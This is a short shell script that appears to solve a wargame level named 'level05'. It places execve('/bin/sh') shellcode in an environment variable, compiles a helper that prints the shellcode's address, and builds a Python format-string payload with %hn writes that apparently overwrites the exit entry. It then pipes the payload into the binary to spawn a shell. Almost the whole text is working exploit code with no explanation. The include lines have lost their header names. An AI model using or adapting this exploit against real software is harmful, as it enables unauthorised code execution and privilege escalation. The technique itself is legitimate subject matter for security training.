#!/bin/sh export SHELLCODE="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" printf ' #include #include int main(void) { printf(\"%%x\", (unsigned int)getenv(\"SHELLCODE\")); return 0; }' > /tmp/env.c gcc -m32 /tmp/env.c -o /tmp/a.out /tmp/a.out > /tmp/shellcode_addr printf ' with open("/tmp/shellcode_addr") as f: shellcode_addr = f.read() exit_addr_low = "\\x08\\x04\\x97\\xe0"[::-1] exit_addr_high = "\\x08\\x04\\x97\\xe2"[::-1] shellcode_low = int(shellcode_addr[4:], 16) - 8 shellcode_high = int(shellcode_addr[:4], 16) - shellcode_low - 8 payload = "%%{0}d%%10$hn%%{1}d%%11$hn".format(shellcode_low, shellcode_high) exploit = exit_addr_low + exit_addr_high + payload print(exploit) ' > /tmp/exploit.py (python /tmp/exploit.py; cat) | ./level05